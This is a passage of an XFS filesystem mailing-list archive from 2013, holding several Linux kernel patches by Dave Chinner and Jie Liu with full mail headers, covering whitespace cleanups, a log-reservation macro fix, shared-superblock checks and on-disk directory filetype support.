<1374215120-7271-23-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215142 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner These come from syncing the shared userspace and kernel code. Small whitespace and trivial cleanups. Signed-off-by: Dave Chinner --- fs/xfs/xfs_attr_leaf.c | 2 -- fs/xfs/xfs_attr_remote.c | 8 +------- fs/xfs/xfs_bmap_btree.c | 4 +--- fs/xfs/xfs_inode_fork.c | 4 ++-- 4 files changed, 4 insertions(+), 14 deletions(-) diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index fe0ade9..4dba2f9 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -936,7 +936,6 @@ out: return error; } - /*======================================================================== * Routines used for growing the Btree. *========================================================================*/ @@ -1297,7 +1296,6 @@ xfs_attr3_leaf_compact( ichdr_dst->freemap[0].size = ichdr_dst->firstused - ichdr_dst->freemap[0].base; - /* write the header back to initialise the underlying buffer */ xfs_attr3_leaf_hdr_to_disk(leaf_dst, ichdr_dst); diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c index 13a0ed9..b42926a 100644 --- a/fs/xfs/xfs_attr_remote.c +++ b/fs/xfs/xfs_attr_remote.c @@ -251,7 +251,7 @@ xfs_attr_rmtval_copyout( int hdr_size = 0; int byte_cnt = XFS_ATTR3_RMT_BUF_SPACE(mp, XFS_LBSIZE(mp)); - byte_cnt = min_t(int, *valuelen, byte_cnt); + byte_cnt = min(*valuelen, byte_cnt); if (xfs_sb_version_hascrc(&mp->m_sb)) { if (!xfs_attr3_rmt_hdr_ok(mp, src, ino, *offset, @@ -545,11 +545,6 @@ xfs_attr_rmtval_remove( /* * Roll through the "value", invalidating the attribute value's blocks. - * Note that args->rmtblkcnt is the minimum number of data blocks we'll - * see for a CRC enabled remote attribute. Each extent will have a - * header, and so we may have more blocks than we realise here. If we - * fail to map the blocks correctly, we'll have problems with the buffer - * lookups. */ lblkno = args->rmtblkno; blkcnt = args->rmtblkcnt; @@ -630,4 +625,3 @@ xfs_attr_rmtval_remove( } return(0); } - diff --git a/fs/xfs/xfs_bmap_btree.c b/fs/xfs/xfs_bmap_btree.c index bcee383..cf3bc76 100644 --- a/fs/xfs/xfs_bmap_btree.c +++ b/fs/xfs/xfs_bmap_btree.c @@ -722,7 +722,7 @@ xfs_bmbt_key_diff( cur->bc_rec.b.br_startoff; } -static int +static bool xfs_bmbt_verify( struct xfs_buf *bp) { @@ -775,7 +775,6 @@ xfs_bmbt_verify( return false; return true; - } static void @@ -789,7 +788,6 @@ xfs_bmbt_read_verify( bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); } - } static void diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c index 8b8ba02..f06570b 100644 --- a/fs/xfs/xfs_inode_fork.c +++ b/fs/xfs/xfs_inode_fork.c @@ -780,8 +780,8 @@ xfs_iextents_copy( } /* Translate to on disk format */ - put_unaligned(cpu_to_be64(ep->l0), &dp->l0); - put_unaligned(cpu_to_be64(ep->l1), &dp->l1); + put_unaligned_be64(ep->l0, &dp->l0); + put_unaligned_be64(ep->l1, &dp->l1); dp++; copied++; } -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9C7767F8E for ; Fri, 19 Jul 2013 01:25:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3973FAC00E for ; Thu, 18 Jul 2013 23:25:44 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c030007-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id MnFL9O8dgLeY5GP4 for ; Thu, 18 Jul 2013 23:25:42 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45LJ4E6g2YDoX+HK4MkKoEs Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:36 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048s-Jg for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001ze-8O for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 37/49] xfs: Make writeid transaction use tr_writeid Date: Fri, 19 Jul 2013 16:25:08 +1000 X-ASG-Orig-Subj: [PATCH 37/49] xfs: Make writeid transaction use tr_writeid Message-Id: <1374215120-7271-38-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215142 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu tr_writeid is defined at mp->m_resv structure, however, it does not really being used when it should be.. This patch changes it to tr_writeid to fetch the correct log reservation size. Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- fs/xfs/xfs_trans_resv.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/xfs/xfs_trans_resv.h b/fs/xfs/xfs_trans_resv.h index 326f17d..b8d5666 100644 --- a/fs/xfs/xfs_trans_resv.h +++ b/fs/xfs/xfs_trans_resv.h @@ -111,7 +111,7 @@ struct xfs_trans_resv { * as long as SWRITE logs the entire inode core */ #define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_fsyncts.tr_logres) -#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_writeid.tr_logres) #define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_resv.tr_addafork.tr_logres) #define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_resv.tr_attrsetm.tr_logres) #define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_resv.tr_attrinval.tr_logres) -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A715E7F90 for ; Fri, 19 Jul 2013 01:25:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 89C058F8033 for ; Thu, 18 Jul 2013 23:25:44 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c020008-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id MWVK0RyPq5ylVk1u for ; Thu, 18 Jul 2013 23:25:42 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApocAB3b6FF5LK4r/2dsb2JhbABagwY1rQ0ClAIEgRYXdIIkAQEFJy8zCBgxOQMbGR6HcbYvjnKFIAOZBpAkgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:35 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048x-IW for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-00021F-Hb for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 49/49] xfs: Add write support for dirent filetype field Date: Fri, 19 Jul 2013 16:25:20 +1000 X-ASG-Orig-Subj: [PATCH 49/49] xfs: Add write support for dirent filetype field Message-Id: <1374215120-7271-50-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215142 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Add support to propagate and add filetype values into the on-disk directs. This involves passing the filetype into the xfs_da_args structure along with the name and namelength for direct operations, and encoding it into the dirent at the same time we write the inode number into the dirent. With write support, add the feature flag to the XFS_SB_FEAT_INCOMPAT_ALL mask so we can now mount filesystems with this feature set. Performance of directory recursion is now much improved. Parallel walk of ~50 million directory entries across hundreds of directories improves significantly. Unpatched, no CRCs: Walking via ls -R real 3m19.886s user 6m36.960s sys 28m19.087s THis is doing roughly 500 getdents() calls per second, and 250,000 inode lookups per second to determine the inode type at roughly 17,000 read IOPS. CPU usage is 90% kernel space. With dtype support patched in and the fileset recreated with CRCs enabled: Walking via ls -R real 0m31.316s user 6m32.975s sys 0m21.111s This is doing roughly 3500 getdents() calls per second at 16,000 IOPS. There are no inode lookups at all. CPU usages is almost 100% userspace. This is a big win for recursive directory walks that only need to find file names and file types. Signed-off-by: Dave Chinner --- fs/xfs/xfs_dir2.c | 3 +++ fs/xfs/xfs_dir2_block.c | 7 +++++++ fs/xfs/xfs_dir2_data.c | 2 ++ fs/xfs/xfs_dir2_leaf.c | 3 +++ fs/xfs/xfs_dir2_node.c | 3 +++ fs/xfs/xfs_dir2_sf.c | 35 +++++++++++++++++++++++++++-------- fs/xfs/xfs_sb.h | 3 ++- 7 files changed, 47 insertions(+), 9 deletions(-) diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index f9825b1..d3ff96c 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -209,6 +209,7 @@ xfs_dir_createname( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.inumber = inum; args.dp = dp; @@ -283,6 +284,7 @@ xfs_dir_lookup( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.dp = dp; args.whichfork = XFS_DATA_FORK; @@ -338,6 +340,7 @@ xfs_dir_removename( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.inumber = ino; args.dp = dp; diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 1cd2f56..0957aa9 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -549,6 +549,7 @@ xfs_dir2_block_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, args->namelen); + xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* @@ -641,6 +642,7 @@ xfs_dir2_block_lookup( * Fill in inode number, CI name if appropriate, release the block. */ args->inumber = be64_to_cpu(dep->inumber); + args->filetype = xfs_dir3_dirent_get_ftype(mp, dep); error = xfs_dir_cilookup_result(args, dep->name, dep->namelen); xfs_trans_brelse(args->trans, bp); return XFS_ERROR(error); @@ -873,6 +875,7 @@ xfs_dir2_block_replace( * Change the inode number to the new value. */ dep->inumber = cpu_to_be64(args->inumber); + xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); xfs_dir2_data_log_entry(args->trans, bp, dep); xfs_dir3_data_check(dp, bp); return 0; @@ -1159,6 +1162,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(dp->i_ino); dep->namelen = 1; dep->name[0] = '.'; + xfs_dir3_dirent_put_ftype(mp, dep, XFS_DIR3_FT_DIR); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); @@ -1172,6 +1176,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(xfs_dir2_sf_get_parent_ino(sfp)); dep->namelen = 2; dep->name[0] = dep->name[1] = '.'; + xfs_dir3_dirent_put_ftype(mp, dep, XFS_DIR3_FT_DIR); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); @@ -1219,6 +1224,8 @@ xfs_dir2_sf_to_block( dep = (xfs_dir2_data_entry_t *)((char *)hdr + newoffset); dep->inumber = cpu_to_be64(xfs_dir3_sfe_get_ino(mp, sfp, sfep)); dep->namelen = sfep->namelen; + xfs_dir3_dirent_put_ftype(mp, dep, + xfs_dir3_sfe_get_ftype(mp, sfp, sfep)); memcpy(dep->name, sfep->name, dep->namelen); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 1b59e43..47e1326 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -149,6 +149,8 @@ __xfs_dir3_data_check( XFS_WANT_CORRUPTED_RETURN( be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) == (char *)dep - (char *)hdr); + XFS_WANT_CORRUPTED_RETURN( + xfs_dir3_dirent_get_ftype(mp, dep) < XFS_DIR3_FT_MAX); count++; lastfree = 0; if (hdr->magic == cpu_to_be32(XFS_DIR2_BLOCK_MAGIC) || diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 887b1bd..08984ee 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -897,6 +897,7 @@ xfs_dir2_leaf_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); + xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* @@ -1225,6 +1226,7 @@ xfs_dir2_leaf_lookup( * Return the found inode number & CI name if appropriate */ args->inumber = be64_to_cpu(dep->inumber); + args->filetype = xfs_dir3_dirent_get_ftype(dp->i_mount, dep); error = xfs_dir_cilookup_result(args, dep->name, dep->namelen); xfs_trans_brelse(tp, dbp); xfs_trans_brelse(tp, lbp); @@ -1555,6 +1557,7 @@ xfs_dir2_leaf_replace( * Put the new inode number in, log it. */ dep->inumber = cpu_to_be64(args->inumber); + xfs_dir3_dirent_put_ftype(dp->i_mount, dep, args->filetype); tp = args->trans; xfs_dir2_data_log_entry(tp, dbp, dep); xfs_dir3_leaf_check(dp->i_mount, lbp); diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 49f1e9e..4c3dba7 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -816,6 +816,7 @@ xfs_dir2_leafn_lookup_for_entry( xfs_trans_brelse(tp, state->extrablk.bp); args->cmpresult = cmp; args->inumber = be64_to_cpu(dep->inumber); + args->filetype = xfs_dir3_dirent_get_ftype(mp, dep); *indexp = index; state->extravalid = 1; state->extrablk.bp = curbp; @@ -2007,6 +2008,7 @@ xfs_dir2_node_addname_int( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); + xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, dbp, dep); @@ -2227,6 +2229,7 @@ xfs_dir2_node_replace( * Fill in the new inode number and log the entry. */ dep->inumber = cpu_to_be64(inum); + xfs_dir3_dirent_put_ftype(state->mp, dep, args->filetype); xfs_dir2_data_log_entry(args->trans, state->extrablk.bp, dep); rval = 0; } diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index bd14e1a..bb6e284 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -333,6 +333,8 @@ xfs_dir2_block_to_sf( memcpy(sfep->name, dep->name, dep->namelen); xfs_dir3_sfe_put_ino(mp, sfp, sfep, be64_to_cpu(dep->inumber)); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + xfs_dir3_dirent_get_ftype(mp, dep)); sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } @@ -496,6 +498,8 @@ xfs_dir2_sf_addname_easy( xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ftype(dp->i_mount, sfp, sfep, args->filetype); + /* * Update the header and inode. */ @@ -589,6 +593,7 @@ xfs_dir2_sf_addname_hard( xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); xfs_dir3_sfe_put_ino(mp, sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, args->filetype); sfp->count++; #if XFS_BIG_INUMS if (args->inumber > XFS_DIR2_MAX_SHORT_INUM && !objchange) @@ -825,6 +830,7 @@ xfs_dir2_sf_lookup( if (args->namelen == 1 && args->name[0] == '.') { args->inumber = dp->i_ino; args->cmpresult = XFS_CMP_EXACT; + args->filetype = XFS_DIR3_FT_DIR; return XFS_ERROR(EEXIST); } /* @@ -834,6 +840,7 @@ xfs_dir2_sf_lookup( args->name[0] == '.' && args->name[1] == '.') { args->inumber = xfs_dir2_sf_get_parent_ino(sfp); args->cmpresult = XFS_CMP_EXACT; + args->filetype = XFS_DIR3_FT_DIR; return XFS_ERROR(EEXIST); } /* @@ -853,6 +860,8 @@ xfs_dir2_sf_lookup( args->cmpresult = cmp; args->inumber = xfs_dir3_sfe_get_ino(dp->i_mount, sfp, sfep); + args->filetype = xfs_dir3_sfe_get_ftype(dp->i_mount, + sfp, sfep); if (cmp == XFS_CMP_EXACT) return XFS_ERROR(EEXIST); ci_sfep = sfep; @@ -1052,6 +1061,8 @@ xfs_dir2_sf_replace( #endif xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ftype(dp->i_mount, sfp, sfep, + args->filetype); break; } } @@ -1118,10 +1129,12 @@ xfs_dir2_sf_toino4( int oldsize; /* old inode size */ xfs_dir2_sf_entry_t *sfep; /* new sf entry */ xfs_dir2_sf_hdr_t *sfp; /* new sf directory */ + struct xfs_mount *mp; trace_xfs_dir2_sf_toino4(args); dp = args->dp; + mp = dp->i_mount; /* * Copy the old directory to the buffer. @@ -1159,13 +1172,15 @@ xfs_dir2_sf_toino4( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), - oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, - xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(mp, sfp, sfep, + xfs_dir3_sfe_get_ino(mp, oldsfp, oldsfep)); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + xfs_dir3_sfe_get_ftype(mp, oldsfp, oldsfep)); } /* * Clean up the inode. @@ -1193,10 +1208,12 @@ xfs_dir2_sf_toino8( int oldsize; /* old inode size */ xfs_dir2_sf_entry_t *sfep; /* new sf entry */ xfs_dir2_sf_hdr_t *sfp; /* new sf directory */ + struct xfs_mount *mp; trace_xfs_dir2_sf_toino8(args); dp = args->dp; + mp = dp->i_mount; /* * Copy the old directory to the buffer. @@ -1234,13 +1251,15 @@ xfs_dir2_sf_toino8( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), - oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, - xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(mp, sfp, sfep, + xfs_dir3_sfe_get_ino(mp, oldsfp, oldsfep)); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + xfs_dir3_sfe_get_ftype(mp, oldsfp, oldsfep)); } /* * Clean up the inode. diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index c5b1c04..4851137 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -594,7 +594,8 @@ xfs_sb_has_ro_compat_feature( } #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ -#define XFS_SB_FEAT_INCOMPAT_ALL 0 +#define XFS_SB_FEAT_INCOMPAT_ALL \ + (XFS_SB_FEAT_INCOMPAT_FTYPE) #define XFS_SB_FEAT_INCOMPAT_UNKNOWN ~XFS_SB_FEAT_INCOMPAT_ALL static inline bool -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2DD587F7E for ; Fri, 19 Jul 2013 01:25:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1EE028F8033 for ; Thu, 18 Jul 2013 23:25:45 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c030008-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id QkpS0UmCLV613kuE for ; Thu, 18 Jul 2013 23:25:43 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45ygTqDZgOpKoMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:39 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048g-3O for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001ys-2S for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 28/49] xfs: don't special case shared superblock mounts Date: Fri, 19 Jul 2013 16:24:59 +1000 X-ASG-Orig-Subj: [PATCH 28/49] xfs: don't special case shared superblock mounts Message-Id: <1374215120-7271-29-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215143 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Neither kernel or userspace support shared read-only mounts, so don't beother special casing the support check to be different between kernel and userspace. The same check canbe used as neither like it... Signed-off-by: Dave Chinner --- fs/xfs/xfs_sb.h | 7 ------- 1 file changed, 7 deletions(-) diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index dea0373..d6f3648 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -355,15 +355,8 @@ static inline int xfs_sb_good_version(xfs_sb_t *sbp) (sbp->sb_features2 & ~XFS_SB_VERSION2_OKREALBITS))) return 0; -#ifdef __KERNEL__ if (sbp->sb_shared_vn > XFS_SB_MAX_SHARED_VN) return 0; -#else - if ((sbp->sb_versionnum & XFS_SB_VERSION_SHAREDBIT) && - sbp->sb_shared_vn > XFS_SB_MAX_SHARED_VN) - return 0; -#endif - return 1; } if (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 770F57F93 for ; Fri, 19 Jul 2013 01:25:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 16E9DAC011 for ; Thu, 18 Jul 2013 